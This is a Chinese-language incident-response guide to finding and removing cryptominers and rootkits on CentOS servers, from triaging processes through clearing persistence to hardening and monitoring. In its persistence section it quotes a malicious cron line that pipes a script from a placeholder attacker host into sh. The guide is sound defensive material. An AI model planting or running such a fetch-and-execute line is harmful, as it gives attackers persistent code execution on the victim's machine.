CentOS服务器如果被植入恶意进程,最直接的表现往往是CPU异常飙高、外联端口异常、crontab被写入陌生任务,或者/usr/bin、/tmp目录下多出一堆随机命名的可执行文件。处理这类问题不能只靠杀进程,因为很多恶意程序会互相拉起、写入自启动、替换系统命令,甚至加载内核模块隐藏自身。真正有效的查杀流程是:先定位异常进程和网络连接,再追溯父进程与文件来源,接着清理持久化项,最后修复被篡改的系统文件并做权限收敛。

第一步先看进程和网络。登录服务器后不要只敲top,top本身可能被替换。用busybox或者系统自带的ps、ss先做交叉验证。执行ps auxf可以按树状结构查看进程父子关系,很多挖矿木马会由systemd、crontab或某个被入侵的Web进程拉起。重点看CPU或内存占用异常、运行时间短但反复出现的进程,以及路径在/tmp、/var/tmp、/dev/shm下的进程。再执行ss -antlp查看所有TCP监听和已建立连接,重点排查连接境外IP、非业务端口、长连接不释放的进程。如果发现某个PID同时出现在ps和ss中,立刻用ls -l /proc/PID/exe查看真实可执行文件路径,用cat /proc/PID/cmdline查看启动参数,用cat /proc/PID/environ查看环境变量,很多恶意程序会把矿池地址、钱包地址写在环境变量里。

第二步定位文件来源。拿到异常PID后,执行lsof -p PID可以列出该进程打开的所有文件,包括动态库、配置文件、日志和网络socket。恶意进程常把自身复制到/usr/bin、/usr/local/bin、/tmp、/var/tmp,并随机命名成类似kdevtmpfsi、kinsing、systemd-network、crond等看似正常的名字。用stat查看文件创建时间和修改时间,用rpm -Vf /usr/bin/xxx检查系统自带命令是否被篡改,如果输出显示文件大小、MD5、权限发生变化,说明该命令已被替换。对于非系统文件,用file命令查看文件类型,用strings提取可读字符串,里面往往能找到矿池域名、攻击者IP、远控地址、加密密钥等信息。

第三步查持久化。恶意进程杀掉后重启,十有八九是写入了自启动。依次检查/etc/crontab、/var/spool/cron/root、/var/spool/cron/其他用户、/etc/cron.d/、/etc/cron.hourly/、/etc/cron.daily/等所有cron目录。很多挖矿木马会写入一条类似“*/5 * * * * curl -fsSL http://恶意地址/xxx.sh | sh”的任务。再检查/etc/rc.local、/etc/rc.d/rc.local、/etc/init.d/下是否有陌生启动脚本,systemd服务目录/usr/lib/systemd/system/和/etc/systemd/system/下是否有异常service文件。还要检查/etc/ld.so.preload,这是Linux动态链接器预加载文件,恶意程序写入一个.so文件后,所有新启动的进程都会加载该恶意库,用来隐藏进程、文件、网络连接,非常隐蔽。如果发现该文件存在内容,立即清空并删除对应.so文件。

第四步处理内核级rootkit。如果ps、ss、ls等命令的输出明显异常,比如看不到高CPU进程、看不到某个网络连接、看不到某个文件,但top或/proc下又能看到,说明系统可能被加载了内核模块rootkit。执行lsmod查看已加载模块,重点看第三方模块、无签名模块、路径在/tmp下的模块。执行dmesg | tail -50查看内核日志,看是否有模块加载记录或异常报错。如果怀疑某个模块,可以尝试rmmod卸载,但很多rootkit会阻止卸载。更可靠的办法是使用chkrootkit和rkhunter做快速扫描,这两个工具能检测常见rootkit特征、隐藏进程、异常promisc模式网卡、异常SUID文件。不过要注意,这两个工具只能作为辅助判断,不能完全依赖,因为新型rootkit会绕过它们的特征库。

第五步清理与修复。确认恶意文件和持久化项后,先备份再删除。对于正在运行的恶意进程,不要直接kill -9,因为有些进程会捕获信号后重新拉起。正确顺序是:先删除或改名恶意可执行文件,再kill进程,最后清理持久化项。如果恶意进程有多个互相监控,可以用pkill -f匹配特征批量结束,或者直接重启进入单用户模式操作。对于被替换的系统命令,用yum reinstall coreutils procps net-tools psmisc等重新安装基础包,或者从同版本正常服务器拷贝对应二进制文件。如果恶意程序修改了/etc/passwd、/etc/shadow、/etc/sudoers,要逐一检查是否有新增用户、免密sudo、异常UID为0的账户。用last和lastb查看登录记录,看是否有陌生IP成功登录过,如果有,说明SSH可能被爆破或存在弱口令,需要立即修改所有用户密码并检查SSH配置。

第六步做安全加固。清理完恶意程序只是治标,不堵住入口还会被再次入侵。先检查SSH配置,禁止root直接登录,修改默认端口,启用密钥登录并禁用密码登录,限制允许登录的IP段。检查Web应用和中间件,如果是通过Web漏洞入侵的,恶意进程的父进程往往是httpd、nginx、tomcat、php-fpm等,需要排查Web日志中的异常POST请求、文件上传、命令执行特征,修复对应漏洞。检查Redis、MySQL、Docker等服务的未授权访问问题,很多挖矿木马就是通过Redis未授权写入公钥或crontab进入的。用find / -perm -4000 -type f 2>/dev/null查找所有SUID文件,重点看/bin、/usr/bin、/usr/local/bin下是否有异常SUID程序。用find / -nouser -o -nogroup 2>/dev/null查找无主文件,这些往往是攻击者留下的后门。最后用netstat或ss持续观察一段时间,确认没有新的异常外联。

第七步建立监控和应急响应机制。安全运维不是一次性的,需要持续监控。可以部署ossec、aide、auditd等工具做文件完整性监控和日志审计。auditd可以监控关键目录的写入操作,比如对/etc、/usr/bin、/tmp的写入,一旦有异常写入立即告警。aide可以定期比对系统文件哈希值,发现被篡改的文件。还可以写一个简单的监控脚本,每分钟检查CPU占用超过阈值的进程、/tmp和/var/tmp下新出现的可执行文件、crontab变化、异常网络连接,发现异常就发送告警并自动保存现场信息。对于重要服务器,建议定期做快照或备份,一旦被入侵可以快速恢复到干净状态。

实际案例中,CentOS服务器最常见的恶意进程是挖矿木马,典型特征就是CPU占用接近100%,进程名伪装成系统进程,外联矿池的4444、5555、7777等端口。处理这类木马时,如果发现进程杀掉后几分钟又出现,一定要检查/var/spool/cron/root和/etc/cron.d/,因为攻击者往往同时写入多个crontab任务互相拉起。还有一种情况是进程杀不掉,kill后PID变了但进程还在,这说明有守护进程在监控,需要找到守护进程一并处理。如果发现/usr/bin/ps、/usr/bin/top、/usr/bin/ss等命令被替换,执行rpm -Vf检查后立即重装对应软件包。对于加载了ld.so.preload的恶意库,要先清空/etc/ld.so.preload再删除.so文件,否则删除后系统可能无法启动新进程。

最后强调一点,查杀恶意进程时不要轻易重启服务器。重启虽然能暂时终止恶意进程,但也会破坏现场,导致无法追溯攻击来源和入侵路径。正确的做法是先收集证据:保存ps、ss、lsof、crontab、/etc/rc.local、systemd服务列表、/etc/ld.so.preload等输出,备份可疑文件和日志,然后再做清理。如果服务器承载核心业务无法停机,可以在清理恶意进程后,用iptables临时封禁可疑外联IP,限制恶意程序无法连接矿池或远控服务器,再逐步排查和加固。安全运维的核心是快速定位、彻底清理、堵住入口、持续监控,四步缺一不可。